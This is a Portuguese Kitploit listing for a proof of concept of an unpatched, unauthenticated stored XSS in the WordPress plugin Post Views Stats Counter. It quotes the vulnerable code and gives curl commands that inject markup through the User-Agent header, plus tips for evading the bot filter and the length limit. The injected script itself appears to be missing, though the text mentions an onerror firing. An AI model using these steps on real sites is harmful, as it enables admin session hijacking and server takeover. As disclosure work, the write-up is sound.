Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-97347 — Prova de conceito para CVE-2026-97347, um XSS armazenado não autenticado no plugin WordPress Post Views Stats Counter através do cabeçalho User-Agent, com etapas de reprodução. | Kitploit
Ferramentas/GitHubGitHub/jailbr3ak/cve-2026-97347
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança Web
GitHubjailbr3ak/cve-2026-97347

CVE-2026-97347

Prova de conceito para CVE-2026-97347, um XSS armazenado não autenticado no plugin WordPress Post Views Stats Counter através do cabeçalho User-Agent, com etapas de reprodução.

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-97347 — XSS Armazenado no Contador de Estatísticas de Visualizações de Posts (plugin WordPress)

PluginPost Views Stats Counter
Versão afetada≤ 1.1.7
Classe de bugXSS Armazenado Não Autenticado
Ponto de entradaCabeçalho HTTP User-Agent
SinkPágina de estatísticas do admin (options-general.php?page=post_views_stats_admin_menu)
CVSS 3.17.2 Alto
StatusNão corrigido no momento da divulgação, sem versões corrigidas conhecidas até agora
PesquisadorNawaf Althurwi

O bug

O plugin registra cada visualização de página, incluindo o cabeçalho User-Agent do visitante, em uma tabela personalizada (wp_pvs_counter). Aqui é onde ele captura o cabeçalho — sem sanitização em nenhum ponto do caminho:

// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];

A única defesa na entrada é um filtro de bots, e é apenas uma lista negra de substrings:

// wp_pvscounter.php
function pvs_counter_is_bot() {
    $pvs_bots = get_option('pvs_counter_value_admin_bots');
    ...
    foreach( $pvs_bots as $pvs_bot ) {
        if (stripos( $ua, $pvs_bot ) !== false) {
            $bot = 1;
            return $bot;
        }
    }
}

A lista padrão é bot, spider, crawler. Qualquer coisa que não contenha essas substrings é armazenada. Esse é todo o filtro.

No lado da saída, a página de administração constrói um dropdown de "user agents registrados" e imprime o valor armazenado bruto dentro da tag <option> — esc_attr() protege o atributo value, mas o rótulo visível é um echo simples:

// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
    <option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>

Assim, uma requisição não autenticada com HTML no cabeçalho User-Agent acaba sendo executada no navegador do administrador na próxima vez que ele abrir a página de estatísticas do plugin. XSS armazenado clássico, sem autenticação, sem interação da vítima além de visualizar seu próprio painel.

Mais uma restrição que vale a pena conhecer: a coluna useragent é varchar(155), então o payload precisa ficar abaixo de 155 caracteres.

Reprodução

Qualquer URL registrada funciona — a página inicial /?p=1 serve. Substitua TARGET pelo host do WordPress e YOUR_PAYLOAD pelo que você quiser executar na sessão do administrador:

curl -s -o /dev/null \
  -H 'User-Agent: </option></select>' \
  'http://TARGET/?p=1'

Notas sobre o formato do payload:

  • </option></select> quebra o valor fora da marcação do dropdown — não é decoração, sem ele a injeção fica presa dentro da tag <option>.
  • Mantenha a string livre de bot/spider/crawler (sem distinção de maiúsculas/minúsculas) ou a requisição será filtrada como bot antes de chegar ao banco de dados.
  • Mantenha-a com menos de 155 caracteres no total.
  • Se você quiser espaços dentro de um alert(), use &#32; em vez disso — alguns clientes HTTP corrompem espaços em valores de cabeçalho.

O one-liner que usei no meu laboratório:

curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
  -H 'User-Agent: </option></select>' \
  'http://packetradar.local:8090/?p=1'

Passo 1 — armazenar o payload

Enviando o payload através do cabeçalho User-Agent

Apenas um curl simples. HTTP 200 significa que a visualização foi contabilizada e o cabeçalho foi gravado no banco de dados.

Passo 2 — acioná-lo

Abra Configurações → Post Views Stats Counter como administrador (ou apenas atualize se já estiver aberto). O payload é renderizado como parte da lista de widgets de estatísticas e o onerror é disparado:

Payload sendo executado na página de estatísticas do administrador

Impacto

  • Roubo de cookies / sequestro de sessão do administrador (mudança de escopo S:C — o XSS é executado em wp-admin, portanto pode chamar endpoints admin-ajax e de instalação de plugins com os cookies do administrador)
  • Instalação e ativação de plugins → RCE no servidor
  • Payload persistente: dispara para o administrador em cada visita à página de estatísticas até que a linha seja excluída

Vídeo de exploração

demo

Qualidade superior caso queira avançar/pausar: exploit-vid.mp4

Referências

  • Registro CVE — CVE-2026-97347

  • Registro do Wordfence Threat Intelligence — CVE-2026-97347


Testado contra a versão 1.1.7 no WordPress 6.x em um laboratório Docker local. Não autenticado, sem interação do usuário além de abrir a página de estatísticas.

Baixar ferramenta